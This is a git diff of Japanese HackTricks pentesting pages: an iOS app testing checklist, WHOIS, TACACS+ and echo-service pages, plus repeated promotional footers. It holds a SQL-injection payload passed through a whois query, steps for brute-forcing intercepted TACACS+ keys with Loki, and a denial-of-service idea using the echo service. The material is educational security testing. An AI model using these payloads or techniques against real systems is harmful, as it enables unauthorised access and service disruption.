* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。
|
||||
* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存できます。
|
||||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存できます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存できます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存できます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存できます。
|
||||
* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存することができます。
|
||||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存することができます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存することができます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存することができます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存することができます。
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain)は通常、再販時に残される可能性のある機密情報を保存するために使用されます。
|
||||
* [ ] 要するに、アプリケーションがファイルシステムに保存した機密情報を**チェック**するだけです。
|
||||
* [ ] 要するに、アプリケーションがファイルシステムに保存する機密情報を**チェック**するだけです。
|
||||
|
||||
### キーボード
|
||||
|
||||
* [ ] アプリケーションが[**カスタムキーボードを使用することを許可**](ios-pentesting/#custom-keyboards-keyboard-cache)していますか?
|
||||
* [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されていないか確認してください。
|
||||
* [ ] アプリケーションが[**カスタムキーボードを使用できるように許可**](ios-pentesting/#custom-keyboards-keyboard-cache)していますか?
|
||||
* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認してください。
|
||||
|
||||
### **ログ**
|
||||
|
||||
* [ ] [**機密情報が記録されていないか**](ios-pentesting/#logs)を確認してください。
|
||||
* [ ] [**機密情報が記録されているか**](ios-pentesting/#logs)を確認してください。
|
||||
|
||||
### バックアップ
|
||||
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの初期ポイントを確認してください)。
|
||||
* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能**が**バイパス**される可能性があります。
|
||||
|
||||
### **アプリケーションメモリ**
|
||||
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないか確認してください。
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないかを確認してください。
|
||||
|
||||
### **破られた暗号**
|
||||
|
||||
* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるか確認してください。
|
||||
* [ ] 送信/保存される機密データには[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないか確認してください。
|
||||
* [ ] 暗号化関数を**フックして監視**することができるか確認してください。
|
||||
* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかを確認してください。
|
||||
* [ ] 送信/保存される機密データに[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないかを確認してください。
|
||||
* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)する。
|
||||
|
||||
### **ローカル認証**
|
||||
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認してください。
|
||||
* [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。
|
||||
* [ ] [**Keychain**](ios-pentesting/#local-authentication-using-keychain)を使用してローカル認証が行われている場合、カスタムなfridaスクリプトを作成できます。
|
||||
* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムフリダスクリプトを作成できます。
|
||||
|
||||
### IPCを介した機密機能の露出
|
||||
|
||||
* [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] アプリケーションが**どのようなプロトコル/スキームを登録しているか**を確認してください。
|
||||
* [ ] アプリケーションが**どのようなプロトコル/スキームを使用するように登録しているか**を確認してください。
|
||||
* [ ] カスタムスキームを介して他のアプリケーションが**傍受できる機密情報**をカスタムスキームから受信することを期待しているかどうかを確認してください。
|
||||
* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
|
||||
* カスタムスキームを介して**どこからでも呼び出すことができる機密アクション**を公開していないかを確認してください。
|
||||
* [ ] アプリケーションがどのようなプロトコル/スキームを**使用するために登録しているか**を確認してください。
|
||||
* [ ] アプリケーションがカスタムスキームから受信することを期待している**機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受**される可能性があるかを確認してください。
|
||||
* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、**脆弱性が悪用**される可能性があるかを確認してください。
|
||||
* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。
|
||||
* [**Universal Links**](ios-pentesting/#universal-links)
|
||||
* [ ] アプリケーションが**どのようなユニバーサルプロトコル/スキームを登録しているか**を確認してください。
|
||||
* `apple-app-site-association`ファイルを確認してください。
|
||||
* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
|
||||
* カスタムスキームを介して**どこからでも呼び出すことができる機密アクション**を公開していないかを確認してください。
|
||||
* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、**脆弱性が悪用**される可能性があるかを確認してください。
|
||||
* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] アプリケーションがUIActivitiesを受信できるかどうかを確認し、特別に作成されたアクティビティで**脆弱性を悪用**できるかどうかを確認してください。
|
||||
* [ ] アプリケーションがUIActivitiesを受信できるかどうか、特別に作成されたアクティビティで**脆弱性を悪用**できるかを確認してください。
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] アプリケーションが**一般のペーストボードに何かをコピーしているか**を確認してください。
|
||||
* [ ] アプリケーションが**一般のペーストボードからデータを使用しているか**を確認してください。
|
||||
* ペーストボードを監視して、**機密データがコピーされていないか**を確認してください。
|
||||
* ペーストボードを監視して、**機密データがコピーされているか**を確認してください。
|
||||
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
|
||||
* アプリケーションが**どのような拡張機能を使用しているか**を確認してください。
|
||||
* アプリケーションが**拡張機能を使用しているか**を確認してください。
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* 使用されているWebViewsの種類を確認してください。
|
||||
* **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認してください。
|
||||
* **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**のステータスを確認してください。
|
||||
* Webviewが**`file://`プロトコルでローカルファイルにアクセスできるか**を確認してください(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)。
|
||||
* Javascriptが**Native** **メソッドにアクセスできるか**を確認してください(`JSContext`、`postMessage`)。
|
||||
### ネットワーク通信
|
||||
|
@ -119,21 +119,21 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* **HackTricksのPDFをダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、Twitterで**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegram グループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* **ハッキングテクニックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
# 基本情報
|
||||
|
||||
**WHOIS**プロトコルは、特定のデータベースを介して**さまざまなインターネットリソースの登録者や保有者について問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。さらに、このプロトコルは、より広範囲の情報にアクセスするためにも利用されます。
|
||||
**WHOIS**プロトコルは、特定のデータベースを介して、さまざまなインターネットリソースの登録者または保有者について**問い合わせるための標準的な方法**として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これらに加えて、プロトコルはより広範囲の情報にアクセスするためにも利用されます。
|
||||
|
||||
**デフォルトポート:** 43
|
||||
```
|
||||
|
@ -36,11 +36,11 @@ PORT STATE SERVICE
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Notice that sometimes when requesting information from a WHOIS service, the database being used appears in the response:
|
||||
通常、WHOISサービスに情報をリクエストすると、使用されているデータベースがレスポンスに表示されることがあります:
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Also, the WHOIS service always needs to use a **database** to store and extract the information. So, a possible **SQLInjection** could be present when **querying** the database from some information provided by the user. For example, by doing: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` you could be able to **extract all** the **information** saved in the database.
|
||||
また、WHOISサービスは常に情報を格納および抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報を使用してデータベースを**クエリ**する際に、**SQLInjection**が存在する可能性があります。たとえば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`とすると、データベースに保存されているすべての**情報**を**抽出**できるかもしれません。
|
||||
|
||||
# Shodan
|
||||
|
||||
|
@ -48,7 +48,7 @@ Also, the WHOIS service always needs to use a **database** to store and extract
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -74,14 +74,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出する。**
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ PORT STATE SERVICE
|
|||
|
||||
## 認証キーの傍受
|
||||
|
||||
クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受**される可能性があります。攻撃者はその後、ログに検出されることなくキーに対する**ローカルな総当たり攻撃を試みる**ことができます。キーの総当たり攻撃に成功すると、攻撃者はネットワーク機器にアクセスし、Wiresharkなどのツールを使用してトラフィックを復号化できます。
|
||||
クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受**される可能性があります。攻撃者はその後、**ログに検出されることなくキーに対するローカルな総当たり攻撃を試みる**ことができます。キーの総当たり攻撃に成功すると、攻撃者はネットワーク機器にアクセスし、Wiresharkなどのツールを使用してトラフィックを復号化できます。
|
||||
|
||||
### MitM攻撃の実行
|
||||
|
||||
|
@ -41,37 +41,13 @@ PORT STATE SERVICE
|
|||
|
||||
### キーの総当たり攻撃
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)を使用してキーの総当たり攻撃を行うことができます。
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)を使用してキーを総当たり攻撃することができます。
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
### トラフィックの復号化
|
||||
鍵が**破られる**と(**通常はMD5で暗号化された形式で**)、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。
|
||||
|
||||
鍵が正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
|
||||
鍵が正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されていれば暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
|
||||
|
||||
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用されるべきであり、適切な権限なしに使用すべきではありません。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワークを制御できます。これらの行動は教育目的のみに使用されるべきであり、適切な権限なしに使用すべきではありません。
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@ HackTricksをサポートする他の方法:
|
|||
# 基本情報
|
||||
|
||||
このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに返送します。\
|
||||
**同じマシンまたは別のマシンのエコーサービスに接続することで、サービスの拒否を引き起こす可能性があります**。生成されるパケット数が過剰であるため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
|
||||
**同じマシンまたは別のマシンのエコーサービスに接続して、サービスに対してサービスをエコーすることで、サービスの拒否を引き起こす可能性があります**。生成されるパケットの数が過剰に多いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
|
||||
情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**デフォルトポート:** 7/tcp/udp
|
||||
|
@ -51,20 +51,20 @@ Hello echo #This is the response
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
